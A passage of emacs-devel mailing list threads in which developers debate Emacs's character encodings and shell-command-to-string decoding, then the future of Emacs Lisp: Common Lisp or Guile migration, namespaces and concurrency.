differently, is still a valuable feature.  Your argument that Emacs
files have no single encoding and therefore there's no reasonable way
to support them is struck down.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > utf-8-emacs is a private encoding used and understood by Emacs
 > alone, so encoding Emacs files in that would make them unusable
 > (unsearchable, unreadable, etc.) with anything but Emacs.

And who in the world would care?  They're *all* Emacs Lisp source
code, not even documentation.  They're all in languages whose scripts
are in Unicode.  So most of the characters will be ASCII, most of the
rest will be in Unicode, and the few that aren't, you can probably
forget about reading or writing in any environment but Emacs or an
extremely idiosyncratic one that isn't good for anything except
reading and writing old Tibetan or Sanskrit encodings (but not both).

 > As for using PUA, you have been told just a few days ago why this is
 > not going to work with Emacs.

That is a bet I will eventually take you up on.  It may not be going
to work in Emacs, ever, but I bet I can make it work in XEmacs. :-)

 > Your argument that Emacs files have no single encoding and
 > therefore there's no reasonable way to support them is struck down.

I never made such an argument.  My argument is that Emacs is alone in
choosing this particular "reasonable way to support encodings", and
that makes it difficult to cooperate with other projects ... such as
Guile.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> I never made such an argument.  My argument is that Emacs is alone in
> choosing this particular "reasonable way to support encodings", and
> that makes it difficult to cooperate with other projects ... such as
> Guile.

"cooperate with" and "meld with" tend to raise substantially different
issues.  Emacs is perfectly well equipped to cooperate with a lot of
other projects not least of all because of its unusually diverse support
of encodings.  But of course it is a perfect nightmare to reimplement
Emacs on the basis of a system with a less polymorphic history.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: eggert@cs.ucla.edu,
>     emacs-devel@gnu.org
> Date: Wed, 15 Oct 2014 20:34:31 +0900
> 
> Eli Zaretskii writes:
> 
>  > utf-8-emacs is a private encoding used and understood by Emacs
>  > alone, so encoding Emacs files in that would make them unusable
>  > (unsearchable, unreadable, etc.) with anything but Emacs.
> 
> And who in the world would care?

Those who use Grep etc. outside of Emacs.

> My argument is that Emacs is alone in choosing this particular
> "reasonable way to support encodings"

What other programs you are aware of that cover such a large set of
scripts and languages no matter what is the user locale?

> and that makes it difficult to cooperate with other projects
> ... such as Guile.

My point is that those other projects need to learn from Emacs first.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    I believe the commands that use shell-command-to-string are a good
    example of these cases.  That function is frequently used as
    infrastructure to query an external program about something, and the
    result is then used, at least in some cases, to decide how to proceed.

1. The scenario we've been told about is where the invalid UTF-8 gets
passed on to some other program.  I don't think any harm will come if
Emacs itself looks at the output of the command.  Emacs does not
generally get confused by raw bytes.

2. It would not be hard to make another function (which does strict
decoding) to recommend instead of shell-command-to-string for use in
Lisp code in certain cases.

3. It would be easy enough to make shell-command-to-string do flexible
decoding when called interactively and do strict decoding when called
noninteractively -- controlled through an optional argument.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > >  > utf-8-emacs is a private encoding used and understood by Emacs
 > >  > alone, so encoding Emacs files in that would make them unusable
 > >  > (unsearchable, unreadable, etc.) with anything but Emacs.
 > > 
 > > And who in the world would care?
 > 
 > Those who use Grep etc. outside of Emacs.

Well, no, because only those with a very special and very obsolete
environment would be able to search for those few characters using
grep, if they don't have Emacs.  The rest of the characters are in
Unicode, so can be searched as usual using the UTF-8 representation.

 > > My argument is that Emacs is alone in choosing this particular
 > > "reasonable way to support encodings"
 > 
 > What other programs you are aware of that cover such a large set of
 > scripts and languages no matter what is the user locale?

With Unicode support, *all of them*.  (Note: I didn't change from
encodings to "scripts and languages", you did.)

Of course, very few handle all of the *character encodings* that Emacs
does, but iconv and recode come close, or perhaps even exceed Emacs in
some areas.  Those programs, plus a little shell (oops, you're on
Windows, OK, *Python*), and you can do 99.44% of what Emacs can do as
far as handling file coding.

True, Emacs is a little more convenient in handling file coding, but
the majority of folks evidently think that is far outweighed by the
inconvenience of Emacs itself.

 > My point is that those other projects need to learn from Emacs first.

Could be you're right, but sadly, I doubt anyone is going to bother.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Wed, 15 Oct 2014 09:16:20 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mikegerwitz@gnu.org, mhw@netris.org,
> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
> 	monnier@iro.umontreal.ca, stephen@xemacs.org
> 
>     I believe the commands that use shell-command-to-string are a good
>     example of these cases.  That function is frequently used as
>     infrastructure to query an external program about something, and the
>     result is then used, at least in some cases, to decide how to proceed.
> 
> 1. The scenario we've been told about is where the invalid UTF-8 gets
> passed on to some other program.  I don't think any harm will come if
> Emacs itself looks at the output of the command.  Emacs does not
> generally get confused by raw bytes.

What Emacs gets from a program it can as easily send to another (or
the same one).

> 2. It would not be hard to make another function (which does strict
> decoding) to recommend instead of shell-command-to-string for use in
> Lisp code in certain cases.
> 
> 3. It would be easy enough to make shell-command-to-string do flexible
> decoding when called interactively and do strict decoding when called
> noninteractively -- controlled through an optional argument.

I envision complaints from users if we do that.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: eggert@cs.ucla.edu,
>     emacs-devel@gnu.org
> Date: Wed, 15 Oct 2014 22:22:26 +0900
> 
> Eli Zaretskii writes:
> 
>  > >  > utf-8-emacs is a private encoding used and understood by Emacs
>  > >  > alone, so encoding Emacs files in that would make them unusable
>  > >  > (unsearchable, unreadable, etc.) with anything but Emacs.
>  > > 
>  > > And who in the world would care?
>  > 
>  > Those who use Grep etc. outside of Emacs.
> 
> Well, no, because only those with a very special and very obsolete
> environment would be able to search for those few characters using
> grep, if they don't have Emacs.  The rest of the characters are in
> Unicode, so can be searched as usual using the UTF-8 representation.

You assume that Grep and the terminal will not choke on the
non-Unicode characters.  There's no basis for such an assumption.

>  > > My argument is that Emacs is alone in choosing this particular
>  > > "reasonable way to support encodings"
>  > 
>  > What other programs you are aware of that cover such a large set of
>  > scripts and languages no matter what is the user locale?
> 
> With Unicode support, *all of them*.

Treating UTF-8 as a byte stream doesn't constitute "support".

>  > My point is that those other projects need to learn from Emacs first.
> 
> Could be you're right, but sadly, I doubt anyone is going to bother.

Too bad.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> Date: Wed, 15 Oct 2014 09:16:20 -0400
>> From: Richard Stallman <rms@gnu.org>
>> CC: dak@gnu.org, mikegerwitz@gnu.org, mhw@netris.org,
>> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
>> 	monnier@iro.umontreal.ca, stephen@xemacs.org
>> 
>>     I believe the commands that use shell-command-to-string are a good
>>     example of these cases.  That function is frequently used as
>>     infrastructure to query an external program about something, and the
>>     result is then used, at least in some cases, to decide how to proceed.
>> 
>> 1. The scenario we've been told about is where the invalid UTF-8 gets
>> passed on to some other program.  I don't think any harm will come if
>> Emacs itself looks at the output of the command.  Emacs does not
>> generally get confused by raw bytes.
>
> What Emacs gets from a program it can as easily send to another (or
> the same one).
>
>> 2. It would not be hard to make another function (which does strict
>> decoding) to recommend instead of shell-command-to-string for use in
>> Lisp code in certain cases.
>> 
>> 3. It would be easy enough to make shell-command-to-string do flexible
>> decoding when called interactively and do strict decoding when called
>> noninteractively -- controlled through an optional argument.
>
> I envision complaints from users if we do that.

Sounds like a recipe for a non-debuggable security nightmare.  Tampering
with content that Emacs does not know the meaning of, and doing so
differently in non-interactive use is a recipe for making Emacs do
unexpected things.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: "Stephen J. Turnbull" <stephen@xemacs.org>
>> Eli Zaretskii writes:
>
>>  > My point is that those other projects need to learn from Emacs first.
>> 
>> Could be you're right, but sadly, I doubt anyone is going to bother.
>
> Too bad.

With regard to GUILE, not learning from Emacs before taking over its
multilingual support is not really much of an option.  I rather doubt
that the current "fair is foul, and foul is fair" chants will be
sufficient for convincing existing users to abandon the evil encodings
they have been comfortable dabbling in so far due to the forbidden arts
of Emacs.

"Be thankful you can no longer avail yourself of this tool for this
purpose" works better in religious settings.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > You assume that Grep and the terminal will not choke on the
 > non-Unicode characters.  There's no basis for such an assumption.

No basis at all.  But that's not what I'm assuming.  Just like you
(and Emacs itself, which already has several files containing such
non-Unicode characters), I'm simply assuming that GIGO will cause no
harm.

The difference is that in the longer run I plan to remove the problem
by using the PUA, which you say can't be done in Emacs.

Re: Emacs Lisp's future

[Paul Eggert]

On 10/15/2014 12:17 AM, Stephen J. Turnbull wrote:
>   > It's perfectly fine for users to try "M-x grep -r" at home.  It's
>   > not going to hurt them.
>
> That's true for "hurt" == "must call 911".
It's not going to trash their files, or corrupt their displays, or steal 
their passwords, or do anything that's going to hurt them.  Let's not be 
fearmongers here.  The current behavior is useful and easy to explain 
and understand, and people use it a lot, and in that sense it is not a 
"bug".  Although the behavior could be changed to better handle the use 
cases you're thinking about, that is a different matter, one that would 
require nontrivial work to do, and one that shouldn't obstruct the 
common current usage.

>
>  > Conversely, it appears that you did not read the file
>  > admin/notes/unicode carefully;
>
> "It appears that you have not studied Unicode carefully", as there is
> nothing in that file that suggests anything but work is involved

Nontrivial work needs to be done, and this is a technical barrier as 
nobody (including you) has had the time to do the work.  It does still 
appear, though, that you haven't read admin/notes/unicode carefully 
enough, as a simple language-tag-per-file approach won't suffice for 
src/msdos.c, etc/HELLO, lisp/language/tibetan.el, etc., and still more 
work would need to be done for those files, the details of which have 
never (as far as I know) been discussed.  It's not clear how my studying 
Unicode more carefully would help in that effort.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Paul Eggert writes:

 > The current behavior is useful and easy to explain and understand,
 > and people use it a lot,

Granted.

 > and in that sense it is not a "bug".

I give up.  I can't imagine successfully communicating with someone
who defines "not a bug" that way.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

I presented three solutions for handling shell-command-to-string, but
I was confusing it with another function which is a command.
shell-command-to-string is only used in Lisp programs, and probably
those programs will not show that text to a user except in error messages.

Perhaps it should always do strict decoding.

Can you present a real example of using shell-command-to-string
that really needs to do flexible decoding?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Lars Brinkhoff]

Now that we have new maintainers, I'd be curious to hear if they have
any thoughs on this?  (See the original post for more information.)

Stefan Monnier wrote two years ago:
> I've had the opportunity to think a bit more about Emacs Lisp and its
> possible evolution and I'm still not sure what to think about it.
> [...]
> I think that ideally, we'd want to stick to Elisp, or some evolution
> thereof.  Sadly, I don't see how to evolve Elisp into Scheme: they are
> closely related languages, but the differences are large enough that
> it seems hard to reconcile them.
>
> The only standard language into which Elisp can evolve, AFAICT, is
> Common Lisp.  [ Now some readers get disappointed, while some others
> become excited.  ]  There are some incompatibilities between the two
> languages, but I can imagine working them out over the years, or even
> living with them without too much trouble, such that we could use
> Common-Lisp libraries in Emacs.

Re: Emacs Lisp's future

[Nikolay Kudryavtsev]

Is there even a reason to try evolving Elisp into something else? 
Instead, you can cherry-pick the features you want. With cl-lib you get 
almost CL. With dash.el you get your "new cool lisp". And so on.

-- 
Best Regards,
Nikolay Kudryavtsev

Re: Emacs Lisp's future

[Philippe Vaucher]

[-- Attachment #1: Type: text/plain, Size: 397 bytes --]

> Is there even a reason to try evolving Elisp into something else? Instead,
> you can cherry-pick the features you want. With cl-lib you get almost CL.
> With dash.el you get your "new cool lisp". And so on.


The big benefit I see is being able to replace the lisp engine with a more
standard one, and thus benefit from performance enhancements / bugfixes /
etc from the other engine.

Philippe

[-- Attachment #2: Type: text/html, Size: 651 bytes --]

Re: Emacs Lisp's future

[Nikolay Kudryavtsev]

And that project already exists as Guile Emacs. But here we jump into a 
different territory - the current runtime is relatively well tested, 
polished and stable among all platforms. While Guile is not and I'm not 
sure if there is a free software lisp runtime that is. So, apart from 
being a lot of work just to migrate, for which there is no manpower,  we 
would also introduce a whole slew of new bugs.

-- 
Best Regards,
Nikolay Kudryavtsev

Re: Emacs Lisp's future

[Stefan Monnier]

> The big benefit I see is being able to replace the lisp engine with a more
> standard one, and thus benefit from performance enhancements / bugfixes /
> etc from the other engine.

That's right.  Any change would be motivated by the desire to benefit
from other people's efforts w.r.t implementation of the language
and of its libraries.


        Stefan

Re: Emacs Lisp's future

[Kelvin White]

On Fri, Oct 7, 2016 at 6:47 AM, Lars Brinkhoff <lars@nocrew.org> wrote:
> Now that we have new maintainers, I'd be curious to hear if they have
> any thoughs on this?  (See the original post for more information.)
>
> Stefan Monnier wrote two years ago:
>> I've had the opportunity to think a bit more about Emacs Lisp and its
>> possible evolution and I'm still not sure what to think about it.
>> [...]
>> I think that ideally, we'd want to stick to Elisp, or some evolution
>> thereof.  Sadly, I don't see how to evolve Elisp into Scheme: they are
>> closely related languages, but the differences are large enough that
>> it seems hard to reconcile them.
>>
>> The only standard language into which Elisp can evolve, AFAICT, is
>> Common Lisp.  [ Now some readers get disappointed, while some others
>> become excited.  ]  There are some incompatibilities between the two
>> languages, but I can imagine working them out over the years, or even
>> living with them without too much trouble, such that we could use
>> Common-Lisp libraries in Emacs.
>
>

I am all for the common-lisp evolution of Emacs-lisp, and willing to
contribute. Just my two cents...

Re: Emacs Lisp's future

[Søren Pilgård]

On Fri, Oct 7, 2016 at 12:47 PM, Lars Brinkhoff <lars@nocrew.org> wrote:
> Now that we have new maintainers, I'd be curious to hear if they have
> any thoughs on this?  (See the original post for more information.)
>
> Stefan Monnier wrote two years ago:
>> I've had the opportunity to think a bit more about Emacs Lisp and its
>> possible evolution and I'm still not sure what to think about it.
>> [...]
>> I think that ideally, we'd want to stick to Elisp, or some evolution
>> thereof.  Sadly, I don't see how to evolve Elisp into Scheme: they are
>> closely related languages, but the differences are large enough that
>> it seems hard to reconcile them.
>>
>> The only standard language into which Elisp can evolve, AFAICT, is
>> Common Lisp.  [ Now some readers get disappointed, while some others
>> become excited.  ]  There are some incompatibilities between the two
>> languages, but I can imagine working them out over the years, or even
>> living with them without too much trouble, such that we could use
>> Common-Lisp libraries in Emacs.
>
>


First of all we need to decide what it really is that is wanted here.
Is it just the underlying lisp engine or what exactly?

Is it basically replacing the C parts with Common lisp code?
That does not seem to gain much.

Is it to discard Emacs lisp entirely (maybe in a longer process) and
replace it with Common lisp
This would discard decades of code and mountains of configurations for
what gain exactly?

Or is the goal to find a mapping of Emacs lisp to Common lisp.
So we can build up the core concepts in common lisp and then map
whatever Emacs code down into Common lisp?
Then people will ask next if in the future can code for Emacs directly
in Common lisp and not just in "legacy" Emacs lisp.

Keeping this distinction in mind is important, especially when talking
to people outside the development group.
A lot of people had very different ideas and interpretations of what
the Emacs-guile project intented to do and did.

Be aware that Emacs lisp is not Common lisp and such a mapping does
have some pitfalls, especially around dynamic scoping and buffer local
variables.
I remember some blogposts about this (from 2012)
http://tromey.com/blog/?p=709 http://tromey.com/blog/?p=751
http://tromey.com/blog/?p=778

Personally I could fear that this mapping will insert certain
restrictions of what can
and can't be done in Common lisp code against Emacs, especially if we open up to
everyday Emacs code in Common lisp. Basically it would be problematic if Common
lisp could violate certain assumptions the Emacs code makes, like
running "single threaded".
Maybe this could be contained by hiding it somehow, but isn't all we
get another internal implementation then?
If the developers prefer to do the internal implementation in Common
Lisp/Emacs Lisp rather than C/Emacs lisp and have
easier access to expose some libraries then that is another thing.


So when people talk about Emacs Lisp transitioning to Common Lisp,
please specify exactly what you want.

Re: Emacs Lisp's future

[Kaushal Modi]

[-- Attachment #1: Type: text/plain, Size: 2795 bytes --]

On Fri, Oct 7, 2016 at 12:20 PM Søren Pilgård <fiskomaten@gmail.com> wrote:

> First of all we need to decide what it really is that is wanted here.
> Is it just the underlying lisp engine or what exactly?
>
> Is it basically replacing the C parts with Common lisp code?
> That does not seem to gain much.
>
> Is it to discard Emacs lisp entirely (maybe in a longer process) and
> replace it with Common lisp
> This would discard decades of code and mountains of configurations for
> what gain exactly?
>
> Or is the goal to find a mapping of Emacs lisp to Common lisp.
> So we can build up the core concepts in common lisp and then map
> whatever Emacs code down into Common lisp?
> Then people will ask next if in the future can code for Emacs directly
> in Common lisp and not just in "legacy" Emacs lisp.
>
> Keeping this distinction in mind is important, especially when talking
> to people outside the development group.
> A lot of people had very different ideas and interpretations of what
> the Emacs-guile project intented to do and did.
>
> Be aware that Emacs lisp is not Common lisp and such a mapping does
> have some pitfalls, especially around dynamic scoping and buffer local
> variables.
> I remember some blogposts about this (from 2012)
> http://tromey.com/blog/?p=709 http://tromey.com/blog/?p=751
> http://tromey.com/blog/?p=778
>
> Personally I could fear that this mapping will insert certain
> restrictions of what can
> and can't be done in Common lisp code against Emacs, especially if we open
> up to
> everyday Emacs code in Common lisp. Basically it would be problematic if
> Common
> lisp could violate certain assumptions the Emacs code makes, like
> running "single threaded".
> Maybe this could be contained by hiding it somehow, but isn't all we
> get another internal implementation then?
> If the developers prefer to do the internal implementation in Common
> Lisp/Emacs Lisp rather than C/Emacs lisp and have
> easier access to expose some libraries then that is another thing.
>
>
> So when people talk about Emacs Lisp transitioning to Common Lisp,
> please specify exactly what you want.
>


Exactly my thoughts. My fear is that this supposed transition to Common
Lisp with fragment the emacs user base.. some will stick with elisp and
some will move over to CL. Elisp is working very well for configs and
packages. We should rather stick with it and keep on growing the codebase
in the same language.

(If Elisp is completely discarded, we will not have enough people to
convert *all* existing cool packages discovered and yet to be discovered
from elisp to CL.)

So it is a lose-lose situation whether Elisp and CL co-exist or even if CL
completely replaces Elisp.
-- 

Kaushal Modi

[-- Attachment #2: Type: text/html, Size: 4404 bytes --]

Re: Emacs Lisp's future

[John Wiegley]

[-- Attachment #1: Type: text/plain, Size: 667 bytes --]

>>>>> "LB" == Lars Brinkhoff <lars@nocrew.org> writes:

LB> Now that we have new maintainers, I'd be curious to hear if they have any
LB> thoughs on this? (See the original post for more information.)

No particular thoughts from me right now. I'm curious to see what happens with
Guile, but I'm not eager to change. It would be nice to have real compilation
of Emacs Lisp after the manner of Common Lisp, and maybe the concurrency
support; but otherwise Emacs Lisp works pretty well for our use cases.

-- 
John Wiegley                  GPG fingerprint = 4710 CF98 AF9B 327B B80F
http://newartisans.com                          60E1 46C4 BD1A 7AC1 4BA2

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 629 bytes --]

Re: Emacs Lisp's future

[Tom Tromey]

>>>>> "Søren" == Søren Pilgård <fiskomaten@gmail.com> writes:

Søren> Be aware that Emacs lisp is not Common lisp and such a mapping does
Søren> have some pitfalls, especially around dynamic scoping and buffer local
Søren> variables.
Søren> I remember some blogposts about this (from 2012)
Søren> http://tromey.com/blog/?p=709 http://tromey.com/blog/?p=751
Søren> http://tromey.com/blog/?p=778

I still love this wacky idea, but I pretty much moved on to:

https://github.com/tromey/el-compilador

The basic idea here being to eventually write Emacs in Emacs Lisp.
I no longer think the language needs a radical change.  It can just
evolve in place.

Tom

Re: Emacs Lisp's future

[Helmut Eller]

On Fri, Oct 07 2016, Nikolay Kudryavtsev wrote:

> Is there even a reason to try evolving Elisp into something else?

A major pain point of Emacs Lisp is the lack of module system or other
namespace mechanism.  The prefixes all over the place make Elisp code
quite verbose and ugly.  Evolving Elisp into a language with a module
system would be a "good thing".

Helmut

Re: Emacs Lisp's future

[Clément Pit--Claudel]

[-- Attachment #1.1: Type: text/plain, Size: 488 bytes --]

On 2016-10-08 04:23, Helmut Eller wrote:
> On Fri, Oct 07 2016, Nikolay Kudryavtsev wrote:
> 
>> Is there even a reason to try evolving Elisp into something else?
> 
> A major pain point of Emacs Lisp is the lack of module system or other
> namespace mechanism.  The prefixes all over the place make Elisp code
> quite verbose and ugly.  Evolving Elisp into a language with a module
> system would be a "good thing".

The nameless package has made this much better for me :)


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[Ben]

[-- Attachment #1: Type: text/plain, Size: 700 bytes --]

Why is it that nobody mentions Racket when talking about lisp or scheme?
IMHO it's quite an practical and elegant dialect of lisp/scheme.

On Fri, Oct 7, 2016 at 7:48 PM, Nikolay Kudryavtsev <
nikolay.kudryavtsev@gmail.com> wrote:

> And that project already exists as Guile Emacs. But here we jump into a
> different territory - the current runtime is relatively well tested,
> polished and stable among all platforms. While Guile is not and I'm not
> sure if there is a free software lisp runtime that is. So, apart from being
> a lot of work just to migrate, for which there is no manpower,  we would
> also introduce a whole slew of new bugs.
>
>
> --
> Best Regards,
> Nikolay Kudryavtsev
>
>
>

[-- Attachment #2: Type: text/html, Size: 1073 bytes --]

Re: Emacs Lisp's future

[Nicolas Petton]

[-- Attachment #1: Type: text/plain, Size: 259 bytes --]

Clément Pit--Claudel <clement.pit@gmail.com> writes:

> The nameless package has made this much better for me :)

Indeed, this package is nice, but it's only a visual enhancement.
Having namespaces in Elisp would still be great IMO.

Cheers,
Nico


[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 512 bytes --]

Re: Emacs Lisp's future

[Stefan Monnier]

> Why is it that nobody mentions Racket when talking about lisp or scheme?

I guess because we still need to run existing Elisp.

The assumption being that Guile can run existing Elisp, and that it
wouldn't be too hard to make an existing Common-Lisp system run existing
Elisp as well.


        Stefan

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

Namespace systems do not fit well into Lisp.  Common Lisp's is a total
mess.  It is better to use name prefixes.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > The basic idea here being to eventually write Emacs in Emacs Lisp.

It would be a lot of work, for little benefit.
Let's put our time instead into things that will really help users.


-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: Emacs Lisp's future

[Nicolas Petton]

[-- Attachment #1: Type: text/plain, Size: 268 bytes --]

Richard Stallman <rms@gnu.org> writes:

Hi Richard,

> Namespace systems do not fit well into Lisp.  Common Lisp's is a total
> mess.  It is better to use name prefixes.

Have you had a look at Clojure namespaces?
http://clojure.org/reference/namespaces

Cheers,
Nico

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 512 bytes --]

Re: Emacs Lisp's future

[Helmut Eller]

On Sat, Oct 08 2016, Richard Stallman wrote:

> Namespace systems do not fit well into Lisp.

The designers and users of the most important Lisps obviously disagree
with you: Common Lisp, Scheme (since R6RS) and Clojure all have either
namespaces or modules.  Racket even has both.

Helmut

Re: Emacs Lisp's future

[Toon Claes]

[-- Attachment #1: Type: text/plain, Size: 407 bytes --]

On 7 Oct 2016, at 19:07, John Wiegley <jwiegley@gmail.com> wrote:

>  It would be nice to have real compilation
> of Emacs Lisp after the manner of Common Lisp, and maybe the concurrency
> support;


Oh yes, please add concurrency support! 
Would it help if we would start a crowdfunding campaign for this? Because I know a few fellow emacs user who would definitely back it.

Regards,
Toon Claes

[-- Attachment #2: Type: text/html, Size: 1178 bytes --]

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Toon Claes <toon@iotcl.com>
> Date: Sun, 9 Oct 2016 14:03:18 +0200
> Cc: Lars Brinkhoff <lars@nocrew.org>, emacs-devel@gnu.org
> 
> On 7 Oct 2016, at 19:07, John Wiegley <jwiegley@gmail.com> wrote:
> 
>  It would be nice to have real compilation
>  of Emacs Lisp after the manner of Common Lisp, and maybe the concurrency
>  support;
> 
> Oh yes, please add concurrency support! 
> Would it help if we would start a crowdfunding campaign for this? Because I know a few fellow emacs user
> who would definitely back it.

There's already a concurrency branch in the Emacs repository.  It
needs some work before it could be merged to master, so if there are
people here who wants this badly enough, I suggest that they continue
work almost done by Tom Tromey, who developed that branch, instead of
starting anew.

TIA.

Re: Emacs Lisp's future

[Søren Pilgård]

On Sun, Oct 9, 2016 at 2:03 PM, Toon Claes <toon@iotcl.com> wrote:
> On 7 Oct 2016, at 19:07, John Wiegley <jwiegley@gmail.com> wrote:
>
>  It would be nice to have real compilation
> of Emacs Lisp after the manner of Common Lisp, and maybe the concurrency
> support;
>
>
> Oh yes, please add concurrency support!
> Would it help if we would start a crowdfunding campaign for this? Because I
> know a few fellow emacs user who would definitely back it.
>
> Regards,
> Toon Claes

The thing about concurrency is that it is very hard to integrate
meaningfully and robustly into Emacs.
All Emacs lisp code has the basic assumption, that when it is running,
it is the only code running.
Introducing concurrency would either break that assumption or have to
make it explicit somehow, potentially breaking tons of existing code.

As an example, lets say you have a plugin that count occurrences of a
word, and another that corrects spelling mistakes.
As it is now, the counting plugin can assume no other code runs when
it counts and it can thus simply scan the buffer.
But if we let both run simultaneously the spelling correcter could
modify the buffer resulting in the wrong count as some were done
before and some after the modification.
Oh, but couldn't we then just let each buffer have its own "world"
where everything is sequential?
Well we would lose the ability for the spelling correcter to run while
we were working negating the benefit.
And further, what if the plugin counting occurrences gave the total
count for all buffers?
Then it would have to lock all buffers somehow, so no other code could
modify them simultaneously.

As you can see, introducing concurrency has wide implications for Emacs.
Finding a way to go about it that will still allow old "naive" code to
function correctly is what makes it so tough.
Hopefully we will someday have that, but it requires a lot of hard work.
Maybe we could start out with something like javascripts webworkers. A
function running in its own world without access to buffers or other
shared state, and then we could communicate by message passing.
But as the keen eye would observe that is very similar to simply
spawning an external process.
And it wouldn't benefit much for problems that rely on buffers or global state.

This problem will clearly not be solved just by switching the
underlying platform.

Re: Emacs Lisp's future

[Philipp Stephani]

[-- Attachment #1: Type: text/plain, Size: 1328 bytes --]

Søren Pilgård <fiskomaten@gmail.com> schrieb am So., 9. Okt. 2016 um
14:44 Uhr:

> On Sun, Oct 9, 2016 at 2:03 PM, Toon Claes <toon@iotcl.com> wrote:
>
>
> As you can see, introducing concurrency has wide implications for Emacs.
>
> Finding a way to go about it that will still allow old "naive" code to
>
> function correctly is what makes it so tough.
>
> Hopefully we will someday have that, but it requires a lot of hard work.
>
> Maybe we could start out with something like javascripts webworkers. A
>
> function running in its own world without access to buffers or other
>
> shared state, and then we could communicate by message passing.
>


Yes, this is the right approach. It is clear that new threads couldn't be
allowed to access existing global state (dynamic variables, buffers,
obarray, ...); instead they would need to start with an empty global state.


>
> But as the keen eye would observe that is very similar to simply
>
> spawning an external process.
>
> And it wouldn't benefit much for problems that rely on buffers or global
> state.
>
>
>
That is a good thing; code should not use global state. Threads should have
a properly synchronized method of communicating with each other (e.g.
CSP-style channels), but shouldn't be able to access each other's state.

[-- Attachment #2: Type: text/html, Size: 2075 bytes --]

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Søren Pilgård <fiskomaten@gmail.com>
> Date: Sun, 9 Oct 2016 14:43:36 +0200
> Cc: John Wiegley <jwiegley@gmail.com>, emacs-devel@gnu.org,
> 	Lars Brinkhoff <lars@nocrew.org>
> 
> The thing about concurrency is that it is very hard to integrate
> meaningfully and robustly into Emacs.

See the concurrency branch in the Git repo for one possible way of
doing that.

> As you can see, introducing concurrency has wide implications for Emacs.
> Finding a way to go about it that will still allow old "naive" code to
> function correctly is what makes it so tough.

Fortunately, these issues were already figured out, and the result
needs just some final touches and some serious testing on various
platforms.  Motivated individuals are welcome to work on that branch
and bring it up to speed.

Thanks.

Re: Emacs Lisp's future

[John Wiegley]

[-- Attachment #1: Type: text/plain, Size: 2692 bytes --]

>>>>> Eli Zaretskii <eliz@gnu.org> writes:

> There's already a concurrency branch in the Emacs repository. It needs some
> work before it could be merged to master, so if there are people here who
> wants this badly enough, I suggest that they continue work almost done by
> Tom Tromey, who developed that branch, instead of starting anew.

I think it needs more than just a little work. I spoke to Tom on the phone
last year, and we both agreed it's not a foregone conclusion that that branch
represents the right way of approaching concurrency for an application like
Emacs.

In general, users don't want programmatic concurrency. What they want is for
Emacs not to freeze up after they've asked it to do something. And there are
other ways of achieving this end -- depending on the nature of the problem --
than making concurrency a first-class citizen, with the innumerable problems
it brings. I fear we'd be debugging subtle interaction issues for the rest of
our lives if we just merged Tom's branch in today. It implements a Java-style
form of concurrency, dependent on mutexes and locking to achieve coherency,
which is fiendishly difficult to get right, even if you confine its use to
just a few small tasks. The hardest bug I ever debugged in my life was a
concurrency bug; the second hardest wasn't even close (and thankfully, I
didn't try to solve it at the same time).

I'd much rather we re-examine the goals we want to achieve with concurrency,
an then ask if there are other ways to get there besides, well, concurrency.
For example, if we had a lightweight forking mechanism with transparent
communication between sub-ordinate processes (think async.el, but in C and
highly efficient), I think we could achieve what users want, without the
downsides developers don't want. Even the popular web browsers are moving in
this direction, since it gives a similar effect to threading, but without as
many of the downsides; or take the popularity of the Actor model, used to
